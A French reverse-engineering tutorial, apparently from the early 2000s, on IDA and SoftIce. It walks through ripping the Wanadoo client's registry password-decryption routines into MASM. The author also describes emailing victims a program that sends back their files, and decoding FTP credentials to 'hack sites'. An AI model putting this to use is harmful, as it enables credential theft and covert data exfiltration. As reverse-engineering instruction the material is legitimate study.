Pendant qu'on y ait, autant renommer var_30 en 'wc' puisqu'elle représente la structure WNDCLASSEX. L'information se propage tout au long de la procédure.
Cherchons d'autres points clé.

Oh... une fonction UpdateWindows traine en bas de cette procédure. En plus sa ligne précédente utilise la pile (ebp c'est la pile vous vous souvenez!) Donc on va pouvoir en déduire un autre élément poussé sur la pile.
Toujours d'après la référence Win32API, UpdateWindow n'utilise qu'un seul membre, à savoir le handle de la fenêtre (on le nomme la plus part du temps hwnd ou hWnd lorsqu'il est local dans une procédure, c'est le cas ici) Donc renommez-le ainsi au niveau de la pile ou bien au-dessus de la fonction Update :

.text:0040436D                 push    [ebp+var_50]      ; renommez var_50 en hWnd
.text:00404370                 call    UpdateWindow

Continuons la pêche aux infos, toujours une recherche des éventuelles fonctions utilisant des paramètres en rapport avec la pile (ebp+...)
Tien tien, mais que vois-je immédiatement en-dessous.

.text:00404375                 push    0               ; wMsgFilterMax
.text:00404377                 push    0               ; wMsgFilterMin
.text:00404379                 push    0               ; hWnd
.text:0040437B                 lea     eax, [ebp+var_4C]  ; Déclarez var_4C en tant que structure MSG
.text:0040437E                 push    eax             ; lpMsg
.text:0040437F                 call    GetMessageA

Que sait-on sur cette fonction, D'après la référence Win32API elle récupère les Messages Windows et les place dans la structure MSG. Celle-ci étant le premier paramètre de cette fonction (donc la plus proche d'elle dans le code) c'est donc eax qui pointe sur la structure Msg, autrement dit var_4C représente cette structure. Définissons var_34 en tant que structure MSG. (J'ai pas dit renommer, j'ai dit déclarer. C'est pas pareil)

MENU : Edit --> Operand type --> Offset --> Offset (struct)...
Mettez 0 car c'est le premier membre de la structure en question. Son point de base.
Et choisissez MSG. Il est temps maintenant de renommez 'var_4C' en 'Msg' pour lui donner un nom plus explicite.

Bien il ne reste plus qu'un paramètre inconnu : var8

.text:004040D9 ; int __stdcall WinMain(HINSTANCE var8)
.text:004040D9 WinMain         proc near               ; CODE XREF: start+26p
.text:004040D9
.text:004040D9 hWnd            = dword ptr -50h
.text:004040D9 Msg             = MSG ptr -4Ch
.text:004040D9 wc              = WNDCLASSEXA ptr -30h
.text:004040D9 var8            = dword ptr  8                          ; renommons le en hInst
On s'aperçoit vite qu'il est poussé sur la pile de WinMain et d'après IDA, il s'agit de l'Handle Instance de l'application donc renommons-le en 'hInst' comme à l'accoutumée.

Bon on a réussit à retouver les composants placés sur la pile et vous voyez que le code de toute la procédure WinMain s'en trouve plus clair. C'était le but.
Un dernier détail, vous n'y êtes absolument pas obligé, mais vous voyez qu'IDA n'a pas su retrouver le prototype de la fonction WinMain.
D'après la référence Win32API elle est définit ainsi :

int WINAPI WinMain(

    HINSTANCE hInstance,	    // handle to current instance
    HINSTANCE hPrevInstance,	    // handle to previous instance
    LPSTR lpCmdLine,	            // pointer to command line
    int nCmdShow 	            // show state of window
);

Donc vous pouvez le modifier pour retrouver la forme qu'IDA aurait normalement dû lui attribuer, soit :

.text:004040D9 ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
.text:004040D9 WinMain         proc near

Introduction aux scripts *.idc :

Je fais une petite allusion aux scripts idc pour finir, car c'est un des outils les plus performant d'IDA. J'en ai créé deux pour ce tut, je ne les détaillerai pas car il faudrait carrément un nouveau tutorial pour ce sujet. Ce que je vous conseille, c'est dans un premier temp de vous amuser avec la fenetre
MENU : File --> IDC command... pour vous familiariser avec les différentes fonctions disponibles.

Pour ce qui est du reste sachez seulement que le script PachCode.idc sert à patcher le programme désassemblé et recréer un *.exe patché.
Ex : placez vous à l'adresse : 00404409 et entrez la suite de bytes 686C674000. Vous verrez c'est assé amusant.

Quant au script AsmProcGen.idc il automatise ce que j'ai décrit pour extraire une procédure d'un programme. Cependant il ne gère pas la pile de la procédure donc si vous tombez sur une, qui, utilise des variables locales vous devrez seulement les réécrire à la main. Tous ces scripts peuvent etre réutilisés sur d'autres programmes et améliorés à l'occasion. Bye !!!

Ecrit par Morgatte

© 2001-2003 by http://membres.lycos.fr/w32assembly/


IDA Tutorial

Cible : Le Pack
Wanadoo

Voir le répertoire " Woo " dans ce fichier Rar

Je ne vous ai pas mis le Pack dans ce tutorial, ça aurait été trop lourd. En plus il y a plusieurs versions différentes de Wanadoo et ça pour plusieurs OS différents, donc je ne peux pas tous les faire. Cependant, même si vous n'avez pas la cible sous la main ce n'est absolument pas indispensable, c'est le procédé qui compte et il vaut pour toutes les versions car l'encryptage des données est toujours le même quelque soit leurs versions.

L'important dans ce tutorial c'est de voir plus en détail comment transformer une procédure récupérée par IDA en une procédure totalement utilisable sous Masm. Dans le Tutorial sur le KeygenMe de Julio el Negro je n'ai parlé que de la manière de visiter les variables et les récupérer. Celui-ci est plus pointu sur des points qui peuvent aussi faire échouer le pompage de procédure, je pense en particulier aux problèmes issus de la pile, c'est à dire la gestion des registres EBP, ESP et l'écriture des fin de procédure avec Leave Retn.

Le but :

Wanadoo est un fournisseur d'accès qui pour s'identifier compare votre compte en ligne avec les données qui sont présentent dans votre Base des Registres (données cryptées, sans lesquelles le niveau de sécurité serait nul). Vous allez me dire, inutile car la seule chose qu'on igonre sur un compte Wanadoo, ce sont les 'Mot de passe de connexion' et 'Mot de passe de messagerie' qui sont remplacés par des ***********, et un simple petit programme utilisant un MouseHook peut les faire apparaitre. Et bien je dis oui c'est suffisant dans la majorité des cas, mais pas dans la totalité.
- Premier cas, on peut également placé un 'Mot de passe utilisateur' sur l'ouverture du programme, 'Mot de passe' n'étant pas affiché sous forme de **, vous ne pouvez plus rien faire. Le seul moyen c'est de le récupérer dans la Base des Registres et de le décoder.
- Second cas, toujours dans la Base des Registres j'ai trouvé le moyen de récupérer n'importe quelle info sur quelqu'un en lui envoyant par mail un petit programme. Il me suffit par exemple de taper 'FRANCE TELECOM' et il scanne le contenu pour me retourner sur mon mail la totalité des fichiers et sous répertoires de la victime. Du coup je récupère un compte mais où toutes les données sont encore cryptées. Je vous rassure quand même on a testé ça avec un ami, le but c'est pas de piquer les comptes des autres ni de lire leurs mail. j'm'en fout un peu. (récupérer les données de Dreamweaver, CuteFTP ou leechFTP me parait plus intéressant, je ne l'ai pas fait non plus ceci dit mais ce que je veux dire, c'est qu'il est tout à fait possible de hacker des sites du moment qu'on sache comment décoder les infos utilisés par ce type de logiciels).

Bon ben y a plus qu'a...
Pour mettre les choses en place, j'ai entré un mot de passe pour protéger l'accès du logiciel. Et j'ai ensuite régardé ce que ça donnait dans la BdR.
Mot de passe entré : 'azerty'
Actualisation de la BdR : [MotPasse] = "FD21FAEA55405088652581DCFF7C3606" (il dépendant aussi de votre nom d'utilisateur, donc on aura pas le même)

Pour l'instant on se sert de SoftIce.
Puisque les données sont placées dans la base des registres, un BPX RegQueryValueExA est d'actualité.

Y en a deux qui sont trouvés et qui récupèrent des dizaines de données à la volée.

   .text:00425A3C                 call    ds:RegQueryValueExA
et
   .text:00425AF8                 call      ds:RegQueryValueExA

Ce que je veux c'est retrouver lequel des deux appelle le Nom : 'MotPasse'.
Le prototype de RegQueryValueEx est le suivant :

LONG RegQueryValueEx(
    HKEY hKey,           	// Handle de la clé à retrouver
    LPTSTR lpValueName,	// adresse du nom de la valeur à retrouver  <------------- Donc lui (le deusième PUSH)
    LPDWORD lpReserved,  	// réservé
    LPDWORD lpType,       // adresse du buffer représantant le type de valeur
    LPBYTE lpData,       	// adresse du buffer de la donnée       <------------- Ce que cette fonction récupère
    LPDWORD lpcbData      // adresse  de la taille du buffer de la donnée
   );
Je vous passe les détails c'est bien le premier RegQueryValueExA qui l'appelait au bout d'un certain temp.
Il suffisait de suprimer l'ancien BPX et de placer un BPX sur la ligne du second paramètre de la fonction en lui disant en plus d'afficher son contenu quand il breakait.

.text:00425A1E                 lea     eax, [ebp-20h]
.text:00425A21                 mov     dword ptr [ebp-20h], 100h
.text:00425A28                 push    eax
.text:00425A29                 lea     eax, [ebp-120h]      ; Valeur Récupérée
.text:00425A2F                 push    eax
.text:00425A30                 lea     eax, [ebp-1Ch]
.text:00425A33                 push    eax
.text:00425A34                 push    0
.text:00425A36                 push    dword ptr [ebp+0Ch]  ; On se place ici et on pose un BPX EIP DO "D *(EBP+0C)"
.text:00425A39                 push    dword ptr [ebp-10h]  ; Ou mieux, BPX EIP IF (*(*(EBP+0C)=='MotP') DO "D *(EBP+0C)"
.text:00425A3C                 call    ds:RegQueryValueExA

Voilà on a un bon point de départ, au bout du 7e break on trouve le nom 'MotPasse'.
J'avais créé une petite macro pour voir les valeurs récupérées pour chaque Nom. MACRO mmm="G EIP+0C; D (EBP-120)"
Comme ça à chaque Break je vois directement le Nom, et en tapant mmm j'avance dans le code de 0Ch bytes (arrivée à la ligne qui suit le Call) et j'affiche le contenu de (ebp-120) qui est la valeur récupérée. Et je retrouve FD21FAEA55405088652581DCFF7C3606 (le mot de passe crypté)

En traçant un peu à l'intérieur des call on s'aperçoit vite qu'en 00415833 on a une procédure qui prend comme paramètre un buffer vide et l'adresse du Mot de Passe Codé. Et le décode en partie. En fait elle hache le mot de passe codé pour le décoder par petit blocs.

On va donc récupérer cette procédure et toutes ses sous-procédures.

La récupération se fait en plusieurs étapes. Divisées en deux parties.

- I ) Le travail fait sous IDA pour tout récupérer.
- II) Le travail fait sous *.asm pour adapter ce qu'on vient de récupérer.

- I ) Le travail à faire sous IDA pour tout récupérer.

- On renomme la procédure principale avec un nom parlant et toutes les sous-procédures en tant que sousProc_n° tant qu'on ignore leur but.
- On renomme d'abord les Arguments et les variables Locales utilisées par la procédure. Sur la pile, les Arguments sont toujours positifs alors que les Locales sont négatives.
- On renomme ensuite toutes les autres variables comme on l'a fait pour le KeygenMe. Vérifiez bien qu'une fois le programme lancé les variables ne sont pas modifiées par rapport à ce que vous voyez sous IDA. (C'est le cas ici avec la variable que j'ai renommé SuiteDeBytesConstante).
- Vous pouvez copier le code et les données dans le fichier ASM.

- II) Le travail à faire sous *.asm pour adapter ce qu'on vient de récupérer.

La gestion de la pile est toujours à la charge du compilateur quand on écrit un script sous Masm. J'ai mis en rouge tout ce qui doit être supprimé.
- Supprimez donc tous les ebp et esp.
- Supprimez aussi les Leave car ce n'est autre que la contraction de ceci : mov esp, ebp ET pop ebp pour restorer la pile (les deux premières lignes d'entrée)
- Supprimez également le 'n' des 'Retn'
- Ajouter un ; devant les lignes qu'IDA à placé en début de procédure mais qui ne doivent pas être là sous Masm.
- Une dernière chose reste à régler, voyez ça sous le code présent.

.text:0041582B                 lea     eax, Buffer8bytes  ; Recevra la chaine de caractères décodée
.text:0041582E                 push    eax
.text:0041582F                 lea     eax, partieCodee   ; Pointe sur le début du code (FD21FAEA55405088 um QWORD)
.text:00415832                 push    eax
.text:00415833                 call    Decryptage
...
..
.
.text:0040667E ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:0040667E
.text:0040667E ; Attributes: bp-based frame
.text:0040667E
.text:0040667E Decryptage      proc near               ; CODE XREF: sub_415689+A6p
.text:0040667E                                         ; sub_41578C+A7p ...
.text:0040667E
.text:0040667E ; Locale1         = dword ptr -8       ; Ces deux-là sont des variables Locales car
.text:0040667E ; Locale2         = dword ptr -4       ; ils sont négatifs par rapport à la base de la pile.
.text:0040667E ; Argument1       = dword ptr  8       ; Ces deux-ci sont des Arguments par contre.
.text:0040667E ; Argument2       = dword ptr  0Ch     ;
.text:0040667E
.text:0040667E                 push    ebp
.text:0040667F                 mov     ebp, esp
.text:00406681                 push    ecx
.text:00406682                 push    ecx
.text:00406683                 and     [ebp+Locale1], 0 ; Met les deux variables locales à 00000000
.text:00406687                 and     [ebp+Locale2], 0 ; Pour obtenir un Double-Dword (QWORD) nul 0000000000000000
.text:0040668B                 lea     eax, [ebp+Locale1] ; eax pointe sur les 8 premiers bytes
.text:0040668E                 push    eax                         ; du code "FD21FAEA55405088"
.text:0040668F                 push    [ebp+Argument1] ; pointe sur le début du code        (FD21FAEA55405088 num)
.text:00406692                 call    SousProc1       ; inverse les bytes des deux DWORD    FD21FAEAh 55405088h
                                                                                --> EAFA21FDh 88504055h
.text:00406697                 lea     eax, [ebp+Locale1] ; Double Dword de sortie           EAFA21FDh 88504055h
.text:0040669A                 push    offset SuiteDeBytesConstante
.text:0040669F                 push    eax             ;                                     EAFA21FDh 88504055h
.text:004066A0                 call    SousProc2       ; Decrypte la chaine en l'inscrivant à l'envers
.text:004066A5                 push    [ebp+Argument2] ; Chaine vide de 8 Bytes où va être redressée la chaine
.text:004066A8                 lea     eax, [ebp+Locale1] ; chaine inversée
.text:004066AB                 push    eax
.text:004066AC                 call    SousProc3       ; Inverse la chaine
.text:004066B1                 add     esp, 18h        ; en retour eax-1 pointe sur les lettres décodées
.text:004066B4                 leave
.text:004066B5                 retn
.text:004066B5 Decryptage      endp

.text:004066B6 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦

.text:004066B6 SousProc1       proc near               ; CODE XREF: Decryptage+14p
.text:004066B6
.text:004066B6 ; Argument1       = dword ptr  4
.text:004066B6 ; Argument2       = dword ptr  8
.text:004066B6
.text:004066B6                 mov     ecx, [esp+Argument1]
.text:004066BA                 mov     eax, [esp+Argument2]
.text:004066BE                 movzx   edx, byte ptr [ecx]
.text:004066C1                 shl     edx, 18h
.text:004066C4                 inc     ecx
......
...
.text:004066FE                 or      ecx, edx
.text:00406700                 mov     [eax], ecx
.text:00406702                 retn
.text:00406702 SousProc1       endp

.text:00406703 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦

.text:00406703 SousProc3       proc near               ; CODE XREF: Decryptage+2Ep
.text:00406703
.text:00406703 ; Argument1         = dword ptr  4
.text:00406703 ; Argument2         = dword ptr  8
.text:00406703
.text:00406703                 mov     ecx, [esp+Argument1]
.text:00406707                 mov     eax, [esp+Argument2]
.text:0040670B                 mov     edx, [ecx]
...
..
.text:00406744                 mov     [eax+1], cl
.text:00406747                 retn
.text:00406747 SousProc3       endp

.text:00406748 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦

.text:00406748 SousProc2       proc near               ; CODE XREF: Decryptage+22p
.text:00406748
.text:00406748 ; Locale1         = dword ptr -4
.text:00406748 ; Argument1       = dword ptr  8
.text:00406748 ; Argument2       = dword ptr  0Ch
.text:00406748
.text:00406748                 push    ebp
.text:00406749                 mov     ebp, esp
.text:0040674B                 push    ecx
.text:0040674C                 mov     eax, [ebp+Argument1]
...
.text:00406767                 mov     [ebp+Locale1], 8
...
.text:004067DF                 mov     edi, [ebp+Argument2]
...
.text:00406831                 mov     [ebp+Argument2], edi
...
.text:0040686F                 mov     edi, [ebp+Argument2]
...
.text:004068C1                 mov     [ebp+Argument2], edi
...
.text:0040697F                 mov     ecx, [ebp+Argument1]
....
.text:00406991                 mov     [ecx+4], eax
.text:00406994                 pop     ebx
.text:00406995                 leave
.text:00406996                 retn
.text:00406996 SousProc2       endp
.text:00406996
.text:00406997
.text:00406997 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦

La dernière chose c'est qu'il faut maintenant redéclarer correctement les Arguments et variables Locales utilisées par chaque procédure. C'était important de nommer les Locales avec des noms explicites car au niveau où nous en sommes maintenant il est impératif de bien placer chacunes d'entre elles. Sans mettre des noms explicites on finit toujours par faire n'importe quoi, c'est garanti. Si vous voulez quand même mettre des noms bien à vous, je vous conseille de mettre les préfixes Arg_ et Loc_ devant ces noms.

Voilà comment ça se passe... Quand on a un Call qui utilise plusieurs arguments, l'argument le plus près du call reste aussi l'argumant le plus près du call une fois vue dans IDA.
Exemple.

Dans IDA....

       Push monArgument3
       Push monArgument2
       Push monArgument1               <-- C'est lui le plus près (il est à touché)
       Call maProcedure

       maProcedure Proc   Near
              maVarLocale1  = dword ptr  -8
              maVarLocale2  = dword ptr  -4
              Arg1          = dword ptr  8     <-- On voit aussi très bien que c'est ce Arg
              Arg2          = dword ptr  0Ch           qui est le plus près de maProcedure.
              Arg3          = dword ptr  10h
              ...
              ..
       Ret
       maProcedure Endp

Sous Masm...

On doit donc redéclarer les variables locales et les arguments ainsi.

       Push monArgument3
       Push monArgument2
       Push monArgument1               <-- C'est lui le plus près (il est à touché)
       Call maProcedure

       maProcedure Proc   Near Arg1:DWORD, Arg2:DWORD, Arg3:DWORD
              LOCAL maVarLocale1:DWORD
              LOCAL maVarLocale2:DWORD
              ...
              ..
       Ret
       maProcedure Endp
Une seule règle à se rappeler, tout ce qui est près d'un Call reste toujours près de ce Call quelque soit la représentation adoptée.
Seulement, il faut dissocier les Arguments des Locales.

Retour au décrypteur du pack Wanadoo...

Toutes les procédures vue ci-dessus ne représentent pas la solution finale pour décrypter les éléments de Wanadoo, mais elles représentent le moteur principal. En fait ici on prend des blocs de 8 caractères codés pour en faire des bocs de 3 carctères décodés. Tout ce qui reste à faire, c'est de découper vous-même les chaines codées pour arriver au but.
La solution est présente dans mon fichier *.asm Mais c'est un peu plus compliqué que ça, on a tout vu à partir du Call Decryptage (en 00415833) est ses sous procédures. Cependant la boucle qui suit ce call (dont je n'ai pas parlé) participe à l'élaboration du Décodage.

Pour bien faire il aurait aussi fallut ripper la procédure dans laquelle se trouve mon call Decryptage. Je vais le faire ici pour démo car y a pas mal de trucs intéressants dans cette procédure.

Récupération d'une procédure dont on ignore tout :

Comme je viens de le dire la procédure utilisant le Call Decryptage aurait été bonne à récupérer elle aussi même si je l'ai remplacée par mes propres code dans mon fichier *.asm.

Alors là on a un problème de taille !!!
IDA n'a pas su du tout interpréter cette procédure. On ne voit ni arguments, ni variables locales alors que son code utilise bien la pile puisqu'on retrouve des [ebp+.....]. Pas bon du tout. Je ne connais pas son prototype non plus.... Le but ici ça ne va pas être d'essayer de comprendre ce qu'elle fait exactement mais juste de lui rendre sa forme correcte.

Je vous met donc en jaune et en orange tous les points importants et j'explique ensuite pourquoi.

.text:0041578C ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:0041578C
.text:0041578C
.text:0041578C sub_41578C      proc near               ; CODE XREF: sub_416693+28Fp
.text:0041578C                                         ; sub_416693+33Ap ...
.text:0041578C                 mov     eax, offset loc_42B548
.text:00415791                 call    _EH_prolog
.text:00415796                 sub     esp, 3Ch
.text:00415799                 push    ebx
.text:0041579A                 xor     ebx, ebx
.text:0041579C                 cmp     [ebp+8], ebx
.text:0041579F                 push    esi
.text:004157A0                 mov     esi, ecx
.text:004157A2                 jnz     short loc_4157AB
.text:004157A4                 xor     eax, eax
.text:004157A6                 jmp     loc_4158A5
.text:004157AB ; ---------------------------------------------------------------------------
.text:004157AB
.text:004157AB loc_4157AB:                             ; CODE XREF: sub_41578C+16j
.text:004157AB                 mov     ecx, [ebp+0Ch]
.text:004157AE                 push    edi
.text:004157AF                 call    ?Empty@CString@@QAEXXZ ; CString::Empty(void)
.text:004157B4                 push    1
.text:004157B6                 push    esi
.text:004157B7                 call    sub_4064A8
.text:004157BC                 push    8
.text:004157BE                 lea     eax, [ebp-28h]
.text:004157C1                 pop     edi
.text:004157C2                 push    edi
.text:004157C3                 push    ebx
.text:004157C4                 push    eax
.text:004157C5                 call    memset                 ; <-- une fonction de la dll Crtdll.dll
.text:004157CA                 mov     esi, ds:lstrlenA       ;     Pour le savoir j'ai utilisé un
.text:004157D0                 add     esp, 14h               ;     petit utilitaire perso. D'un autre
.text:004157D3                 push    dword ptr [ebp+8]      ;     tut. (B.Reverse.exe dans le pack IAT.ace)
.text:004157D6                 call    esi ; lstrlenA         ;     il est capable de retrouver n'importe
.text:004157D8                 test    eax, eax               ;     qu'elle fonction quelque soit la dll
.text:004157DA                 jle     loc_4158A1             ;     qui l'exporte.
.text:004157E0
.text:004157E0 loc_4157E0:                             ; CODE XREF: sub_41578C+10Fj
.text:004157E0                 push    11h
.text:004157E2                 lea     eax, [ebp-48h]
.text:004157E5                 push    0
.text:004157E7                 push    eax
.text:004157E8                 call    memset                 ; <-- une fonction de la dll Crtdll.dll
.text:004157ED                 mov     eax, [ebp+8]
.text:004157F0                 push    10h
.text:004157F2                 add     eax, ebx
.text:004157F4                 push    eax
.text:004157F5                 lea     eax, [ebp-48h]
.text:004157F8                 push    eax
.text:004157F9                 call    memcpy                 ; <-- une fonction de la dll Crtdll.dll
.text:004157FE                 push    edi
.text:004157FF                 lea     eax, [ebp-20h]
.text:00415802                 push    0
.text:00415804                 push    eax
.text:00415805                 mov     [ebp-18h], edi
.text:00415808                 call    memset                 ; <-- une fonction de la dll Crtdll.dll
.text:0041580D                 lea     eax, [ebp-48h]
.text:00415810                 push    eax
.text:00415811                 lea     eax, [ebp-18h]
.text:00415814                 push    eax
.text:00415815                 lea     eax, [ebp-20h]
.text:00415818                 push    eax
.text:00415819                 call    sub_425FEC
.text:0041581E                 push    9
.text:00415820                 lea     eax, [ebp-34h]
.text:00415823                 push    0
.text:00415825                 push    eax
.text:00415826                 call    memset                 ; <-- une fonction de la dll Crtdll.dll
.text:0041582B                 lea     eax, [ebp-34h]
.text:0041582E                 push    eax
.text:0041582F                 lea     eax, [ebp-20h]
.text:00415832                 push    eax
.text:00415833                 call    Decryptage      ; <-- Tout ce travail on l'a déjà fait.
.text:00415838                 add     esp, 44h
.text:0041583B                 xor     eax, eax
.text:0041583D                 mov     [ebp-14h], edi
.text:00415840
.text:00415840 loc_415840:                             ; CODE XREF: sub_41578C+C0j
.text:00415840                 mov     cl, [ebp+eax-28h]      ;
.text:00415844                 xor     [ebp+eax-34h], cl      ; Cette boucle participe
.text:00415848                 inc     eax                    ; au décryptage
.text:00415849                 dec     dword ptr [ebp-14h]    ; C'est pour ça que récupérer
.text:0041584C                 jnz     short loc_415840       ; cette procédure aurait été utile
.text:0041584E                 lea     eax, [ebp-20h]
.text:00415851                 push    edi
.text:00415852                 push    eax
.text:00415853                 lea     eax, [ebp-28h]
.text:00415856                 push    eax
.text:00415857                 call    memcpy                 ; <-- une fonction de la dll Crtdll.dll
.text:0041585C                 add     esp, 0Ch
.text:0041585F                 call    ?AfxGetEmptyString@@YGABVCString@@XZ ; AfxGetEmptyString(void)
.text:00415864                 mov     eax, [eax]
.text:00415866                 lea     ecx, [ebp-10h]
.text:00415869                 mov     [ebp-10h], eax
.text:0041586C                 lea     eax, [ebp-34h]
.text:0041586F                 push    eax
.text:00415870                 call    ??4CString@@QAEABV0@PBD@Z ; CString::operator=(char const *)
.text:00415875                 mov     ecx, [ebp+0Ch]
.text:00415878                 and     dword ptr [ebp-4], 0
.text:0041587C                 lea     eax, [ebp-10h]
.text:0041587F                 push    eax
.text:00415880                 call    ??YCString@@QAEABV0@ABV0@@Z ; CString::operator+=(CString const &)
.text:00415885                 or      dword ptr [ebp-4], 0FFFFFFFFh
.text:00415889                 lea     ecx, [ebp-10h]
.text:0041588C                 call    ??1CString@@QAE@XZ ; CString::~CString(void)
.text:00415891                 push    dword ptr [ebp+8]
.text:00415894                 add     ebx, 10h
.text:00415897                 call    esi ; lstrlenA
.text:00415899                 cmp     ebx, eax
.text:0041589B                 jl      loc_4157E0
.text:004158A1
.text:004158A1 loc_4158A1:                             ; CODE XREF: sub_41578C+4Ej
.text:004158A1                 push    1
.text:004158A3                 pop     eax
.text:004158A4                 pop     edi
.text:004158A5
.text:004158A5 loc_4158A5:                             ; CODE XREF: sub_41578C+1Aj
.text:004158A5                 mov     ecx, [ebp-0Ch]
.text:004158A8                 pop     esi
.text:004158A9                 pop     ebx
.text:004158AA                 mov     large fs:0, ecx
.text:004158B1                 leave
.text:004158B2                 retn    8
.text:004158B2 sub_41578C      endp
.text:004158B2
.text:004158B5
.text:004158B5 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦

I - Les Arguments :

Vous avez forcément remarqué en jaune que se sont des ebp suivits de valeurs positives. Ce sont donc des arguments de cette fonction. Et il n'y a que deux valeurs différentes, [ebp+8] et [ebp+0Ch], j'en déduit donc que cette fonction ne possède que deux arguments. Il faut les déclarer dans le prototype de la fonction.

- Placez vous sur le nom de la fonction et cliquez droit sur la souris --> Set function type...
IDA vous donne son prototype (incorrect) int __stdcall sub_41578C();
Je déclare maintenant ses Arguments : int __stdcall sub_41578C(int Argument1, int Argument2);
(Si par exemple le second argument avait été un BYTE au lieu d'un DWORD alors il aurait fallut mettre char à la place de int et ainsi de suite, c'est la même syntaxe qu'en langage C).
- Puis je renomme ma fonction.

Voilà ce qu'IDA affiche maintenant:

.text:0041578C ; int __stdcall TotaleDecryption (int Argument1,int Argument2)
.text:0041578C TotaleDecryption      proc near               ; CODE XREF: sub_416693+28Fp
.text:0041578C                                         ; sub_416693+33Ap ...
.text:0041578C
.text:0041578C Argument1       = dword ptr  4
.text:0041578C Argument2       = dword ptr  8

Le prototype me plait bien, mais pas les arguments car ils pointent en +4 et +8 au lieu de +8 et +0Ch.
Il faut donc les déplacer de 4 pour qu'ils soient enfin correct par rapport au contenu de cette procédure.

- Cliquez droit n'importe où --> Edit Function.
- IDA Affiche les propriétés de cette prcédure. Ici...

* Name of function : TotaleDecyption
* Start Address : .text:0041578C
* End Address : .text:004158B5
* Local Variables : 0x3Ch <-------- on s'en ocupe pas pour l'instant on a pas encore vu les variables locales
* Saved Registers : 0x0 <---------- Lui on le met à 0x4 pour déplacer les arguments de +4 sur la pile.
* Purged Bytes : 0x8 <-------------- On y touche pas, se sont la taille pris par les arguments et puisqu'on a 2 DWORD la taille est bien de 8 BYTES.

C'est bon on retrouve des arguments allant avec le reste de la procédure. On peut maintenant également renommer tout les [ebp+08] et [ebp+0Ch] par les noms des Argument1 et Argument2 en plassant la souris dessus et choisissant dans le menu contextuel ce qu'IDA vous donne. (Ou en utilisant la Touche K)

.text:0041578C ; int __stdcall TotaleDecryption(int Argument1,int Argument2)
.text:0041578C TotaleDecryption proc near              ; CODE XREF: sub_416693+28Fp
.text:0041578C                                         ; sub_416693+33Ap ...
.text:0041578C
.text:0041578C Argument1       = dword ptr  8
.text:0041578C Argument2       = dword ptr  0Ch
....
..
.text:0041579C                 cmp     [ebp+Argument1], ebx
....
..
.text:004157AB                 mov     ecx, [ebp+Argument2]
.text:004157AE                 push    edi
...
II - Les Variables Locales :

Les variables locales sont toutes les occurences de [ebp-qqchose], plus exactement se sont des [ebp+ -qqchose].
Il faut donc vous placer sur les qqchose puis le mettre en valeur négative avec le bouton '-' (Change the sign of the current operand (Touche 8))
Puis maintenant on peut lui donner un label au lieu de sa valeur. Bouton K (Convert the current operand to a stack variable (Touche K)

Ex :
lea eax, [ebp-28h]
lea eax, [ebp+0FFFFFFD8h] (Touche 8)
lea eax, [ebp+var_28] (Touche K)

Il reste à faire la même chose avec toutes les autre locales.
Une fois que c'est fait, vous pouvez les revommer en LocaleN° si vous le souhaitez. (Cependant si vous débugguez ce scripte sous SoftIce c'est plus intéressant de leur laisser des noms comme var_28 qui représente plus la valeur -28 qu'un nom comme Locale1)

Double cliquez sur un des [ebp+qqchose] pour arriver dans la fenêtre gérant la pile, car pour l'instant elle on bien un nom et une position correcte sur la pile, mais il reste à leur redonner leur vraies tailles.

FFFFFFB8 var_48          db ?
FFFFFFB9                 db ? ; undefined
FFFFFFBA                 db ? ; undefined
FFFFFFBB                 db ? ; undefined
FFFFFFBC                 db ? ; undefined
FFFFFFBD                 db ? ; undefined
FFFFFFBE                 db ? ; undefined
FFFFFFBF                 db ? ; undefined   Sélectionnez la totalité d'une variable non définit
FFFFFFC0                 db ? ; undefined   Ou simplement son nom, et cliquer droit --> Array... puis OK
FFFFFFC1                 db ? ; undefined
FFFFFFC2                 db ? ; undefined
FFFFFFC3                 db ? ; undefined
FFFFFFC4                 db ? ; undefined
FFFFFFC5                 db ? ; undefined
FFFFFFC6                 db ? ; undefined
FFFFFFC7                 db ? ; undefined
FFFFFFC8                 db ? ; undefined
FFFFFFC9                 db ? ; undefined
FFFFFFCA                 db ? ; undefined
FFFFFFCB                 db ? ; undefined
FFFFFFCC var_34          db ?
FFFFFFCD                 db ? ; undefined
FFFFFFCE                 db ? ; undefined
FFFFFFCF                 db ? ; undefined
FFFFFFD0                 db ? ; undefined
FFFFFFD1                 db ? ; undefined
FFFFFFD2                 db ? ; undefined
FFFFFFD3                 db ? ; undefined
FFFFFFD4                 db ? ; undefined
FFFFFFD5                 db ? ; undefined
FFFFFFD6                 db ? ; undefined
FFFFFFD7                 db ? ; undefined
FFFFFFD8 var_28          db ?
FFFFFFD9                 db ? ; undefined
FFFFFFDA                 db ? ; undefined
FFFFFFDB                 db ? ; undefined
FFFFFFDC                 db ? ; undefined
FFFFFFDD                 db ? ; undefined
FFFFFFDE                 db ? ; undefined
FFFFFFDF                 db ? ; undefined
